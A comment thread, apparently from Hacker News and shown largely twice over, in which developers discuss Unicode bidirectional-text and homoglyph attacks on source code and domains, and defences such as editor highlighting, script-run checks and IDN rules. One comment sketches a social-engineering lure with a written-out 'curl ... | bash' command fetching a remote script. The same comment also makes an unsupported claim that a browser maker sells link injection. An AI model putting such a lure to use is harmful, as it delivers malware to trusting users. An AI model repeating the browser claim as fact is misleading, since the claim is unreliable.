6 ms·

It is wrong to call this a bug, this is a feature of Unicode and very intentional. Whether we should have thought about that when allowing parsers to digest any

It is wrong to call this a bug, this is a feature of Unicode and very intentional. Whether we should have thought about that when allowing parsers to digest anything outside of ASCII is the real question. The answer is probably "IDEs and compilers should ignore character-direction codes when looking at source files." But that doesn't solve homoglyph attacks (and other undiscovered deception). What a fun can of worms. Who gets to solve it?

kingcharles 5y ago
You're right - their headline is written for attention. It's an exploit of a feature. What I'm interested to know is whether there is any code already out there in the wild with this exploit in it? An intelligence service could have exploited this years ago without anyone noticing until now. Unicode is a pathway to all manner of hijinks, including as you say, homoglyph attacks. For instance, on some TLDs I can easily create two different domain names that render identically in the browser.
- comex 5y ago
  > What I'm interested to know is whether there is any code already out there in the wild with this exploit in it? It's possible, but I doubt it. The paper mentions that Vim isn't vulnerable to the bidirectional attack. Not mentioned in the paper: neither is `less`, the pager, which is used by default for `git diff` and other Git commands. Nor are either of the first two terminals I tried, when `cat`ing the file without a pager. All of the aforementioned programs display the direction markers as either escape sequences highlighted in bright colors, or garbage characters, both of which stand out visually like a sore thumb. Now, that's more a sign of poor Unicode support in those programs than it is anything to their credit. But it does mean that this kind of attack is incredibly brittle, at least in any codebase where some people working on it are likely to be using Unix tools. There's a high chance the aberrant characters will be spotted at some point or other. And once spotted, it's self-evident that it's an attack. I suspect real attacks would try to be more subtle, introducing bugs that could pass as genuine mistakes, at least at first glance.
  - kingcharles 5y ago
    It's sad that largescale exploitation of this is stopped only because many applications still have really poor Unicode support and would therefore make the changes human-visible.
    - Groxx 5y ago
      Coding editors also often show this kind of thing intentionally, as those characters are meaningful for interpretation purposes. Many of them are very UTF friendly, but they still show zero-width spaces as e.g. "<zwsp>" on purpose. They've also often shown non-printable ASCII control characters for basically forever. Null bytes and \bel and whatnot are very important despite being "invisible", and they've been around for decades.
      - tetha 5y ago
        I've been bitten by things like this from an entirely unexpected angle - messengers like teams and skype sometimes <helpfully> replace characters like "-" and " " with all manner of more readable unicode characters. More readable, until the YAML parser choked. Since that, I pretty much always run some variant of the gremlins plugin, which highlights pretty much all unicode spaces, dashes and other weird control symbols.
        Groxx 5y ago
        Chat apps replacing ™ with a horrifically large, poorly-rendered and off-colored "TM" and ruining The Joke™ is a major pet peeve of mine, yeah :| And even worse, it seems to be spreading, as each one blindly copies the horrible decisions of the others. I would disable all of those auto-replacements everywhere if only I could disable all of those auto-replacements everywhere.
    - powersnail 5y ago
      I think making these chars human visible is a feature. Most code editors have features like showing invisible characters, displaying some representation of white space characters, or highlighting control sequences. Because the editor is supposed to edit plain text, which means all characters must be editable. And something can only be editable if they are visible.
- KennyBlanken 5y ago
  > You're right - their headline is written for attention That or just ignorance. Krebs has zero training or education in computer science or programming.
- bmn__ 5y ago
  > I can easily create two different domain names that render identically in the browser You can't (any more)¹. That worked for a limited amount of time, then mitigations were put in place, and subsequently standardised as part of Unicode. Everyone who deals with implementations of Unicode is supposed to be knowledgeable about the security relevant aspects, you can bet that the people working on browsers definitely are. <http://p3rl.org/perlre#Script-Runs http://p3rl.org/perlre#Script-Runs> ¹ invitation to prove me wrong, I am on purpose leaning far out the metaphoric window and will gladly eat my words
  - _3u10 5y ago
    Doesn't really matter. The major browser is intentionally security compromised, anyway. If you pay the maker of the that browser they'll inject any links you want on most pages on the internet. Just give them the hash of the email / phone number of your target. It helps both economically and passing their security checks if you have more than a thousand victims you want to target. If you want to fool a developer just host it on a github page. If you want to fool anyone else, just do a decent clone of their page. If you want it to appear on most major news network sites, just pay $150 for a newswire. Think about it, if you crafted the right article, maybe about a fork of homebrew etc, and redirected to a github page with a link stating you needed to copy and paste curl http://github.com/asdkfjas/homebrew.sh http://github.com/asdkfjas/homebrew.sh | bash into their terminals how many would do it?
  - Amorymeltzer 5y ago
    Came here to provide exactly that link (canonical: <https://perldoc.perl.org/perlre#Script-Runs https://perldoc.perl.org/perlre#Script-Runs>). For those who figured they'd skip over it, it's pretty neat IMO. Perl 5.28 (released 2018) added a new technique for matching patterns that aren't all from the same Unicode script, a "script run." >In most places a single word would never be written in multiple scripts, unless it is a spoofing attack. An infamous example, is >>paypal.com >Those letters could all be Latin (as in the example just above), or they could be all Cyrillic (except for the dot), or they could be a mixture of the two. In the case of an internet address the .com would be in Latin, And any Cyrillic ones would cause it to be a mixture, not a script run.
  - 5y ago
ximeng 5y ago
https://github.com/rust-lang/rust/issues/28979 https://github.com/rust-lang/rust/issues/28979 plenty of discussion here on Unicode including homoglyph attacks. This is for Rust but has links to Go and Zig. The Unicode standard also has extensive discussion, for example https://unicode.org/reports/tr31/ https://unicode.org/reports/tr31/ and http://unicode.org/reports/tr39/ http://unicode.org/reports/tr39/ on identifiers and security. In general a multilayer solution is needed: compilers, linters, Unicode standard, merge tools, editors, and so on.
- rurban 5y ago
  But they still don't get it right, they explicitly allow not identifiable Unicode identifiers. The C20 committee recently allowed also insecure identifiers, completely ignoring the Unicode identifier guidelines. They stated that nobody cares, everybody wants them and making them secure would need the entire Unicode database. Why do they allow noobs into such committees? What is needed are the normalization tables (tiny), the script list (tiny) and the two xid lists.
  - estebank 5y ago
    > they explicitly allow not identifiable Unicode identifiers. [...] They stated that nobody cares, everybody wants them and making them secure would need the entire Unicode database. Could you elaborate? rustc ships with the entire Unicode db and only allows indents with codepoints advertised by Unicode as allowed in indents. The closest to walking off the beaten path is a (still unmerged) parser recovery PR that accepts emojis as identifiers if and only if a parse error would otherwise occur as a way to avoid knock down errors when someone tries to use them.
    - rurban 5y ago
      For identifier security you don't need the entire Unicode DB. Only rust or glibc would do that, nobody else. You need the XID_Start/Continue list of bits, a single normalization table if NFC (or two if NFD), the scripts list (ranges of a single byte), and a bit of logic. With confusables I'm not sure. That's about 2k vs 20m.
josephcsible 5y ago
It's a feature for prose text, so programs like Word should support it. It's a security bug in anything designed to be parsed or interpreted by software, so programs like Visual Studio Code should refuse to honor it.
- hollerith 5y ago
  Brilliant! Nobody would copy prose, then paste it into a code file or REPL without re-reading it after the paste.
- asddubs 5y ago
  or it should be confined to the marker of the string (i.e. the quotation marks) if you're doing syntax highlighting anyway
Animats 5y ago
What's needed is to impose on programming languages, outside of comments, checks similar to the checks made for domain names. There is a draft standard for this.[1] It references RFC 5893 and some other documents. Some of the rules: - All code points in a single label must be taken from the same script as determined by the Unicode Standard Annex #24: Script Names. Exceptions to this guideline are permissible for languages with established orthographies and conventions that require the commingled use of multiple scripts. (Like mixing kanji and romaji in Japanese.) - The "Bidi rules" of RFC 5893, which define allowed right to left and left to right modes, must be enforced. These are complicated, because of such things as the Arabic and Hebrew convention of right to left text with left to right numeric digits in numbers. But they are well-defined. - Only code points allowed by IDNA 2008 are allowed. This eliminates such things as the non-breaking zero width space, the expansion areas for future use, and such. The domain name people have been banging on this problem since 2003, and by now, there's a rough consensus of what to disallow. So start putting checks for that in compilers. If you find violations of those rules, it's more likely to be a typo than something useful, anyway. So that's a way out of this. [1] https://www.icann.org/en/system/files/files/draft-idn-guidelines-03mar17-en.pdf https://www.icann.org/en/system/files/files/draft-idn-guidel...
- varajelle 5y ago
  > What's needed is to impose on programming languages, outside of comments, checks similar to the checks made for domain names. But this attack works by placing characters inside comments and srings. So these checks would not help preventing this particular attack.
  - Animats 5y ago
    They say that, but don't really justify that claim. That's more about string literals that do something other than just display, such as URLs.
zeepzeep 5y ago
> "IDEs and compilers should ignore character-direction codes when looking at source files." No I think some people would disagree, arabic coders for example. People just need to be aware of this when using unicode in their product.
- samus 5y ago
  Editors and code views should definitely show when BiDi and other interesting Unicode features are used, just like they already do with spaces and zero-width whitespaces. These features should definitely work, but they are a liability if they can also used to mislead human users. Compiler maintainers need to update the syntax rules to restrict free mixing of unicode characters. Similar restrictions were already adopted in domain names.
asddubs 5y ago
browsers have solved it for domain names. you could apply the same heuristics for not mixing e.g. cyrillic and non cyrillic in the same word/file

kingcharles 5y ago

You're right - their headline is written for attention. It's an exploit of a feature. What I'm interested to know is whether there is any code already out there in the wild with this exploit in it? An intelligence service could have exploited this years ago without anyone noticing until now. Unicode is a pathway to all manner of hijinks, including as you say, homoglyph attacks. For instance, on some TLDs I can easily create two different domain names that render identically in the browser.

comex 5y ago
> What I'm interested to know is whether there is any code already out there in the wild with this exploit in it? It's possible, but I doubt it. The paper mentions that Vim isn't vulnerable to the bidirectional attack. Not mentioned in the paper: neither is `less`, the pager, which is used by default for `git diff` and other Git commands. Nor are either of the first two terminals I tried, when `cat`ing the file without a pager. All of the aforementioned programs display the direction markers as either escape sequences highlighted in bright colors, or garbage characters, both of which stand out visually like a sore thumb. Now, that's more a sign of poor Unicode support in those programs than it is anything to their credit. But it does mean that this kind of attack is incredibly brittle, at least in any codebase where some people working on it are likely to be using Unix tools. There's a high chance the aberrant characters will be spotted at some point or other. And once spotted, it's self-evident that it's an attack. I suspect real attacks would try to be more subtle, introducing bugs that could pass as genuine mistakes, at least at first glance.
- kingcharles 5y ago
  It's sad that largescale exploitation of this is stopped only because many applications still have really poor Unicode support and would therefore make the changes human-visible.
  - Groxx 5y ago
    Coding editors also often show this kind of thing intentionally, as those characters are meaningful for interpretation purposes. Many of them are very UTF friendly, but they still show zero-width spaces as e.g. "<zwsp>" on purpose. They've also often shown non-printable ASCII control characters for basically forever. Null bytes and \bel and whatnot are very important despite being "invisible", and they've been around for decades.
    - tetha 5y ago
      I've been bitten by things like this from an entirely unexpected angle - messengers like teams and skype sometimes <helpfully> replace characters like "-" and " " with all manner of more readable unicode characters. More readable, until the YAML parser choked. Since that, I pretty much always run some variant of the gremlins plugin, which highlights pretty much all unicode spaces, dashes and other weird control symbols.
      - Groxx 5y ago
        Chat apps replacing ™ with a horrifically large, poorly-rendered and off-colored "TM" and ruining The Joke™ is a major pet peeve of mine, yeah :| And even worse, it seems to be spreading, as each one blindly copies the horrible decisions of the others. I would disable all of those auto-replacements everywhere if only I could disable all of those auto-replacements everywhere.
  - powersnail 5y ago
    I think making these chars human visible is a feature. Most code editors have features like showing invisible characters, displaying some representation of white space characters, or highlighting control sequences. Because the editor is supposed to edit plain text, which means all characters must be editable. And something can only be editable if they are visible.
KennyBlanken 5y ago
> You're right - their headline is written for attention That or just ignorance. Krebs has zero training or education in computer science or programming.
bmn__ 5y ago
> I can easily create two different domain names that render identically in the browser You can't (any more)¹. That worked for a limited amount of time, then mitigations were put in place, and subsequently standardised as part of Unicode. Everyone who deals with implementations of Unicode is supposed to be knowledgeable about the security relevant aspects, you can bet that the people working on browsers definitely are. <http://p3rl.org/perlre#Script-Runs http://p3rl.org/perlre#Script-Runs> ¹ invitation to prove me wrong, I am on purpose leaning far out the metaphoric window and will gladly eat my words
- _3u10 5y ago
  Doesn't really matter. The major browser is intentionally security compromised, anyway. If you pay the maker of the that browser they'll inject any links you want on most pages on the internet. Just give them the hash of the email / phone number of your target. It helps both economically and passing their security checks if you have more than a thousand victims you want to target. If you want to fool a developer just host it on a github page. If you want to fool anyone else, just do a decent clone of their page. If you want it to appear on most major news network sites, just pay $150 for a newswire. Think about it, if you crafted the right article, maybe about a fork of homebrew etc, and redirected to a github page with a link stating you needed to copy and paste curl http://github.com/asdkfjas/homebrew.sh http://github.com/asdkfjas/homebrew.sh | bash into their terminals how many would do it?
- Amorymeltzer 5y ago
  Came here to provide exactly that link (canonical: <https://perldoc.perl.org/perlre#Script-Runs https://perldoc.perl.org/perlre#Script-Runs>). For those who figured they'd skip over it, it's pretty neat IMO. Perl 5.28 (released 2018) added a new technique for matching patterns that aren't all from the same Unicode script, a "script run." >In most places a single word would never be written in multiple scripts, unless it is a spoofing attack. An infamous example, is >>paypal.com >Those letters could all be Latin (as in the example just above), or they could be all Cyrillic (except for the dot), or they could be a mixture of the two. In the case of an internet address the .com would be in Latin, And any Cyrillic ones would cause it to be a mixture, not a script run.
- 5y ago

ximeng 5y ago

https://github.com/rust-lang/rust/issues/28979 https://github.com/rust-lang/rust/issues/28979 plenty of discussion here on Unicode including homoglyph attacks. This is for Rust but has links to Go and Zig. The Unicode standard also has extensive discussion, for example https://unicode.org/reports/tr31/ https://unicode.org/reports/tr31/ and http://unicode.org/reports/tr39/ http://unicode.org/reports/tr39/ on identifiers and security. In general a multilayer solution is needed: compilers, linters, Unicode standard, merge tools, editors, and so on.

rurban 5y ago
But they still don't get it right, they explicitly allow not identifiable Unicode identifiers. The C20 committee recently allowed also insecure identifiers, completely ignoring the Unicode identifier guidelines. They stated that nobody cares, everybody wants them and making them secure would need the entire Unicode database. Why do they allow noobs into such committees? What is needed are the normalization tables (tiny), the script list (tiny) and the two xid lists.
- estebank 5y ago
  > they explicitly allow not identifiable Unicode identifiers. [...] They stated that nobody cares, everybody wants them and making them secure would need the entire Unicode database. Could you elaborate? rustc ships with the entire Unicode db and only allows indents with codepoints advertised by Unicode as allowed in indents. The closest to walking off the beaten path is a (still unmerged) parser recovery PR that accepts emojis as identifiers if and only if a parse error would otherwise occur as a way to avoid knock down errors when someone tries to use them.
  - rurban 5y ago
    For identifier security you don't need the entire Unicode DB. Only rust or glibc would do that, nobody else. You need the XID_Start/Continue list of bits, a single normalization table if NFC (or two if NFD), the scripts list (ranges of a single byte), and a bit of logic. With confusables I'm not sure. That's about 2k vs 20m.

josephcsible 5y ago

It's a feature for prose text, so programs like Word should support it. It's a security bug in anything designed to be parsed or interpreted by software, so programs like Visual Studio Code should refuse to honor it.

hollerith 5y ago
Brilliant! Nobody would copy prose, then paste it into a code file or REPL without re-reading it after the paste.
asddubs 5y ago
or it should be confined to the marker of the string (i.e. the quotation marks) if you're doing syntax highlighting anyway

Animats 5y ago

What's needed is to impose on programming languages, outside of comments, checks similar to the checks made for domain names. There is a draft standard for this.[1] It references RFC 5893 and some other documents. Some of the rules: - All code points in a single label must be taken from the same script as determined by the Unicode Standard Annex #24: Script Names. Exceptions to this guideline are permissible for languages with established orthographies and conventions that require the commingled use of multiple scripts. (Like mixing kanji and romaji in Japanese.) - The "Bidi rules" of RFC 5893, which define allowed right to left and left to right modes, must be enforced. These are complicated, because of such things as the Arabic and Hebrew convention of right to left text with left to right numeric digits in numbers. But they are well-defined. - Only code points allowed by IDNA 2008 are allowed. This eliminates such things as the non-breaking zero width space, the expansion areas for future use, and such. The domain name people have been banging on this problem since 2003, and by now, there's a rough consensus of what to disallow. So start putting checks for that in compilers. If you find violations of those rules, it's more likely to be a typo than something useful, anyway. So that's a way out of this. [1] https://www.icann.org/en/system/files/files/draft-idn-guidelines-03mar17-en.pdf https://www.icann.org/en/system/files/files/draft-idn-guidel...

varajelle 5y ago
> What's needed is to impose on programming languages, outside of comments, checks similar to the checks made for domain names. But this attack works by placing characters inside comments and srings. So these checks would not help preventing this particular attack.
- Animats 5y ago
  They say that, but don't really justify that claim. That's more about string literals that do something other than just display, such as URLs.

zeepzeep 5y ago

> "IDEs and compilers should ignore character-direction codes when looking at source files." No I think some people would disagree, arabic coders for example. People just need to be aware of this when using unicode in their product.

samus 5y ago
Editors and code views should definitely show when BiDi and other interesting Unicode features are used, just like they already do with spaces and zero-width whitespaces. These features should definitely work, but they are a liability if they can also used to mislead human users. Compiler maintainers need to update the syntax rules to restrict free mixing of unicode characters. Similar restrictions were already adopted in domain names.

asddubs 5y ago

browsers have solved it for domain names. you could apply the same heuristics for not mixing e.g. cyrillic and non cyrillic in the same word/file